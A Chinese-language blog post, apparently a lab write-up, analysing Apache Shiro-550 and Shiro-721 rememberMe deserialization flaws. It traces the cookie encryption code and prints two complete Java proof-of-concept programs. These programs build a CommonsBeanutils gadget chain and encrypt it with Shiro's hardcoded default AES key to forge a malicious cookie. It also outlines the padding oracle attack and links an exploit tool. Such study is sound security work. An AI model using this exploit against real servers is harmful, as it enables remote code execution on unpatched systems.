首页 > 其他分享 >shiro 反序列化漏洞

shiro 反序列化漏洞

时间:2024-10-15 13:21:54浏览次数:1  
标签:加密 queue 漏洞 import apache new 序列化 shiro

shiro 反序列化漏洞

Shiro-550

漏洞原理

影响版本:Apache Shiro < 1.2.4
特征判断:返回包中包含rememberMe=deleteMe字段。

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。这里面比较重要的就是搞到 AES 加密的密钥。

而在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,如果没有更改默认密码,攻击者就可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。

环境搭建

分别下载
shiro 下载地址:https://github.com/jas502n/SHIRO-550(下载对应war包即可)

shiro 源码下载地址:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

tomcat 配置,

然后选择下载的 shiro war 包

在项目中也需要更改为 jdk1.7 版本。

最后运行访问端口。

参考:https://blog.csdn.net/qq_44769520/article/details/123476443

漏洞分析

rememberMe 生成

登录抓包,看见在成功登录后给了一个 set-cookie,

回到源码看看这串 cookie 是怎么生成的,全局搜索 cookie 相关处理的类,发现了 CookieRememberMeMananger 类,分析该类的方法,发现方法 rememberSerializedIdentity 就是生成 cookie 的函数,不过这里只能看到把 serialized 进行了 base64 编码

发现其在函数 AbstractRememberMeManager#rememberIdentity 调用,

跟进看到调用了函数 convertPrincipalsToBytes 对 cookie 数据进行加密,

来到 convertPrincipalsToBytes 函数,首先进行了序列化,然后进行加密,

加密的话就是个 AES 加密,看一下其 key 是通过 getEncryptionCipherKey 函数来的,

而这个函数其实就是返回了个常量,所以现在要找谁给常量 encryptionCipherKey 赋了值。

找到函数 setCipherKey,其调用的 setEncryptionCipherKeysetDecryptionCipherKey 就是分别给加密和解密设置 key


继续朔源看谁调用了 setCipherKey 函数,发现在构造函数中

常量 DEFAULT_CIPHER_KEY_BYTES 就是默认设置的加密 key 了。

至此生成 cookie 的大概过程就清楚了就是序列化+AES 加密+base64 编码。

rememberMe 解密

现在来看看是如何获取 cookie 并进行反序列化的,找到其 base64 解码对应方法

同样查找谁调用了该方法,在 AbstractRememberMeManager#getRememberedPrincipals

这里就是先调用 getRememberedSerializedIdentity 函数进行 base64 解码后在调用 convertBytesToPrincipals 进行 AES 解密和反序列化,

漏洞利用

知道存在反序列化,那么 payload 生成也就是序列化恶意 poc+AES 加密+base64 加密,然后就可以进行攻击了。这里 shiro 是自带 cb 链的,

构造 poc,

package org.apache.shiro.web;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.shiro.codec.Base64;  
import org.apache.shiro.codec.CodecSupport;  
import org.apache.shiro.crypto.AesCipherService;  
import org.apache.shiro.util.ByteSource;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
public class shiroCBtest {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        PriorityQueue queue = new PriorityQueue(1);  
  
        BeanComparator comparator = new BeanComparator("outputProperties");  
  
        queue.add(1);  
        queue.add(1);  
  
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  
        field.setAccessible(true);  
        field.set(queue,comparator);  
  
        Object[] queue_array = new Object[]{tem,1};  
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  
        queue_field.setAccessible(true);  
        queue_field.set(queue,queue_array);  
  
        String data = serilize(queue);  
        byte[] originalText =  Base64.decode(data);  
  
        // 加密  
        String encryptedText = encrypt(originalText, SECRET_KEY);  
        System.out.println("Encrypted: " + encryptedText);  
    }  
  
    public static String encrypt(byte[] data, String secret) throws Exception {  
        AesCipherService aes = new AesCipherService();  
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));  
        ByteSource ciphertext = aes.encrypt(data, key);  
        return ciphertext.toString();  
    }  
  
    public static String serilize(Object obj)throws IOException {  
        ByteArrayOutputStream out = new ByteArrayOutputStream();  
        ObjectOutputStream objout=new ObjectOutputStream(out);  
        objout.writeObject(obj);  
        byte[] ObjectBytes = out.toByteArray();  
        String base64EncodedValue = Base64.encodeToString(ObjectBytes);  
        return base64EncodedValue;  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

抓包替换 rememberMe 字段,发包后报错,显示报错和 cc 有关

后面看了组长的视频知道是因为没有 cc 依赖,而 cb 中的 BeanComparator 类构造函数引用了 cc 中的类 ComparableComparator

可以用它的另一个构造函数,只不过这里需要找一个继承了 Comparator 接口并且继承 Serializable 接口的类,

发现 AttrCompare 类就满足条件。

所以重新构造

package org.apache.shiro.web;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.shiro.codec.Base64;  
import org.apache.shiro.codec.CodecSupport;  
import org.apache.shiro.crypto.AesCipherService;  
import org.apache.shiro.util.ByteSource;  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.PriorityQueue;  
public class shiroCBtest {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/yusi.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        PriorityQueue queue = new PriorityQueue(1);  
  
        BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());  
  
        queue.add(1);  
        queue.add(1);  
  
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  
        field.setAccessible(true);  
        field.set(queue,comparator);  
  
        Object[] queue_array = new Object[]{tem,1};  
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");  
        queue_field.setAccessible(true);  
        queue_field.set(queue,queue_array);  
  
        String data = serilize(queue);  
        byte[] originalText =  Base64.decode(data);  
  
        // 加密  
        String encryptedText = encrypt(originalText, SECRET_KEY);  
        System.out.println("Encrypted: " + encryptedText);  
    }  
  
    public static String encrypt(byte[] data, String secret) throws Exception {  
        AesCipherService aes = new AesCipherService();  
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));  
        ByteSource ciphertext = aes.encrypt(data, key);  
        return ciphertext.toString();  
    }  
  
    public static String serilize(Object obj)throws IOException {  
        ByteArrayOutputStream out = new ByteArrayOutputStream();  
        ObjectOutputStream objout=new ObjectOutputStream(out);  
        objout.writeObject(obj);  
        byte[] ObjectBytes = out.toByteArray();  
        String base64EncodedValue = Base64.encodeToString(ObjectBytes);  
        return base64EncodedValue;  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

emm,用 jdk17 来编译 class 文件。最后弹出计算机

Shiro721

漏洞原理

影响版本:Apache Shiro <= 1.4.1
漏洞特征:响应包中包含字段remember=deleteMe字段

Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位,CBC 代表Cipher Block Chaining,这种AES算法模式的主要特点是将明文分成固定长度的块,然后利用前一个块的密文对当前块的明文进行加密处理。

这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确,程序可能会以不同的方式响应,而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块,即使他们没有加密的密钥。

环境搭建

参考:https://github.com/inspiringz/Shiro-721

git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.4.1

然后在执行下面命令编译 war 包

cd samples/web
mvn install

配置 tomcat 和上面一样,只不过 jre 版本改为 1.8,webapps 目录下面选择该 war 包。然后运行结果如下

漏洞分析

其他地方其实和 shiro550 没什么差别,就是在对序列化内容进行编码有所改变,shiro550 是通过固定密钥来进行的加密,其设置密钥函数

而 shiro721 中则是通过动态来生成的密钥,

跟进函数 generateNewKey 看看密钥是怎么生成的。

初始化了 keyBitSize 对象,这里是获得一个随机数发生器SecureRandom

然后调用了 generateKey()函数

最后 getEncoded 获得了 16 位随机密钥。

但是由于加密用的是 AES-128-CBC 加密模式,可以利用 CBC 翻转进行绕过。

漏洞利用

这里需要利用差异性响应来逐个解密密文中的块,所以这里需要来看解密的不同响应,

  • 当收到一个有效密文(解密时正确填充的密文)但解密为无效值时,应用程序会显示自定义错误消息 (200 OK)

也就是前面看到的Set-Cookie: rememberMe=deleteMe

  • 当收到无效的密文时(解密时填充错误的密文),应用程序会抛出加密异常(500 内部服务器错误)
  • 当收到一个有效的密文(一个被正确填充并包含有效数据的密文)时,应用程序正常响应(200 OK)

其实总结就是

  • Padding正确,服务器正常响应
  • Padding错误,服务器返回Set-Cookie: rememberMe=deleteMe

这里就直接利用工具进行构造了,工具地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

标签:加密,queue,漏洞,import,apache,new,序列化,shiro
From: https://www.cnblogs.com/gaorenyusi/p/18467246

相关文章

  • 记一次edusrc漏洞挖掘过程
    目录引言1.信息收集2.漏洞挖掘3.扩大成果4.总结申明:引言该漏洞已经提交给校方单位,并已成功修复,这里仅供技术交流。1.信息收集通过谷歌语法找到了该学校所泄露出来的一些敏感信息,其中一部分包括了在校教师的职工号获取这些信息之后,在后面进行测试时就非常方便了2......
  • 【未公开0day】9.9付费进群系统 wxselect SQL注入漏洞【附poc下载】
    免责声明:本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动,若利用本文提供的内容或工具造成任何直接或间接的后果及损失,均由使用者本人负责,所产生的一切不良后果均与文章作者及本账号无关。fofa语法body="template/layuiadmin/xinadmin"一、漏洞......
  • 文件上传漏洞_1
    目录前端验证后端校验原理:文件上传功能缺乏严格的验证和过滤,攻击者可以越过其本身权限向服务器上传可执行的动态脚本(木马,病毒,恶意脚本等)。危害:黑客会通过上传的病毒和木马从而获得系统的控制权,或者上传的钓鱼图片会被用与钓鱼和欺诈绕过姿势前端验证:(前端检测或js检测)找到......
  • 【Shiro】5.多个Realm的使用和实现
    在Realm的使用中,可能使用多个Realm。比如,支持账号、密码登录;支持手机号验证码登录;支持微信登录等。1.创建多个自定义Realm创建多个自定义的Realm,分别处理不同类型的认证和授权逻辑。publicclassCustomRealm1extendsAuthorizingRealm{@OverrideprotectedAuth......
  • 【安全运营】接收漏洞事件
    一、基础概念1.1接收渠道分类1.2常见接收渠道二、安全运营SOP2.1分析研判2.2风险定级2.3修复验证2.4处置反馈2.5复盘总结2.6SOP流程图三、内部响应实现3.1事件响应组织3.2事件定级标准四、处置漏洞......
  • Wireshark 4.4.1 震撼发布!修复了多个安全漏洞,带来了诸多性能改进和新特性
    你好,这里是网络技术联盟站,我是瑞哥。网络协议分析工具领域迎来了又一重磅更新——Wireshark4.4.1版本正式发布!作为全球最受欢迎的网络协议分析工具,Wireshark在网络分析、故障排除、开发和教育中扮演着不可替代的角色。此次更新不仅修复了多个安全漏洞和已知问题,还带来......
  • Vulnhub--y0usef靶场漏洞多种方法详解复现
    目录0x00准备工作1.靶场导入2.virtualbox网络设置3.靶机和攻击机的IP地址0x01信息收集1.主机发现2.详细信息扫描3.目录扫描0x02 漏洞挖掘1.403绕过2.burp爆破3.方法一:文件上传4.本地提权5.方法二:nc反弹shell6.方法三:使用msfvenom工具0x00准备工作靶场下载:h......
  • Hoverfly 任意文件读取漏洞(CVE-2024-45388)
    漏洞简介Hoverfly是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation​的POST处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取Hoverfly服务器上的任意文件。尽管代码禁止指定绝......
  • 第108天:免杀对抗-Python&混淆算法&反序列化&打包生成器&Py2exe&Nuitka
    知识点#知识点:1、Python-对执行代码做文章2、Python-对shellcode做文章3、Python-对代码打包器做文章#章节点:编译代码面-ShellCode-混淆编译代码面-编辑执行器-编写编译代码面-分离加载器-编写程序文件面-特征码定位-修改程序文件面-加壳花指令-资源代码加载面-Dll反......
  • 第106天:权限提升-WIN 系统&AD域控&NetLogon&ADCS&PAC&KDC&CVE 漏洞
    知识点1、WIN-域内用户到AD域控-CVE-2014-63242、WIN-域内用户到AD域控-CVE-2020-14723、WIN-域内用户到AD域控-CVE-2021-422874、WIN-域内用户到AD域控-CVE-2022-26923WIN-域控提权-CVE-2014-6324前提条件:1、需要域环境下一台主机普通用户账号密码2、一台主机的管理员权......